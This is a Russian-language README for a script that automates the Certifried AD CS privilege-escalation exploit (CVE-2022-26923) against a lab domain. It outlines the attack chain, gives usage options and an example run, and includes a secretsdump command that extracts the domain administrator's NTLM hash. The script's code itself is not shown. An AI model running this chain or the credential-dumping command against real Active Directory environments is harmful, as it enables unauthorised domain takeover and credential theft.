CVE-2022-26923 – Exploit Certifried (AD CS Abuse)

Автоматизация эксплуатации CVE-2022-26923 (Certifried), позволяющая повышение привилегий через злоупотребление службами Active Directory Certificate Services (AD CS) и Resource-Based Constrained Delegation (RBCD), приводящая к дампу NTLM-хэша учётной записи администратора домена.

⚠️ Только в образовательных целях / Lab / HTB

Не использовать в несанкционированных средах.

🎯 Описание

Этот скрипт автоматизирует следующую цепочку атаки:

1. Создание контролируемой учётной записи компьютера
2. Изменение dNSHostName
3. Запрос сертификата через AD CS
4. Аутентификация по сертификату
5. Злоупотребление RBCD
6. S4U2Self + S4U2Proxy
7. Получение билета Kerberos для administrator
8. Дамп NTLM через secretsdump.py

🔗 Уязвимость

• CVE-2022-26923 – «Certifried»
• Затрагивает среды Active Directory, использующие AD CS
• Позволяет выдавать себя за Domain Controller с помощью некорректно выданного сертификата

🛠 Используемые инструменты

• certipy-ad
• bloodyAD
• getST.py (Impacket)
• secretsdump.py (Impacket)
• openssl

📦 Установка зависимостей

pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl

🚀 Использование

chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]

Доступные опции

-d, --dc-ip          IP-адрес Domain Controller
-D, --domain         Имя домена
-u, --user           Действительный пользователь
-p, --pass           Пароль пользователя
-c, --comp-name      Имя контролируемого компьютера
-C, --comp-pass      Пароль компьютера
-a, --ca-name        Имя Certificate Authority
-t, --template       Шаблон сертификата
-f, --pfx-file       Имя файла PFX
-H, --dc-hostname    Имя хоста DC
-A, --dc-account     Учётная запись DC
-i, --impersonate    Целевая учётная запись для имперсонации
--verbose            Режим отладки
-h, --help           Справка

🧠 Пример (HTB Certified)

./CVE-2022-26923.sh \
-d 10.129.1.39 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose

🔥 Ожидаемый результат

По завершении выполнения:

• Билет Kerberos administrator.ccache
• Дамп NTLM учётной записи administrator

При проблемах с Kerberos:

KRB5CCNAME=/tmp/administrator.ccache secretsdump.py \
-just-dc-ntlm -just-dc-user administrator \
certifried.htb/[email protected] \
-k -no-pass -dc-ip 10.129.1.39

🧬 Внутреннее устройство

Machine Account Creation
        ↓
dNSHostName spoofing
        ↓
Certificate Request (Machine Template)
        ↓
Authentication via PFX
        ↓
RBCD abuse (bloodyAD)
        ↓
S4U2Self + S4U2Proxy
        ↓
Kerberos Ticket extraction
        ↓
NTLM dump via secretsdump

⚠️ Дисклеймер

Этот проект предоставляется в целях:

• образовательных
• исследований в области безопасности
• личной лаборатории
• CTF / HTB

Автор снимает с себя всякую ответственность в случае несанкционированного использования.

📜 Лицензия

MIT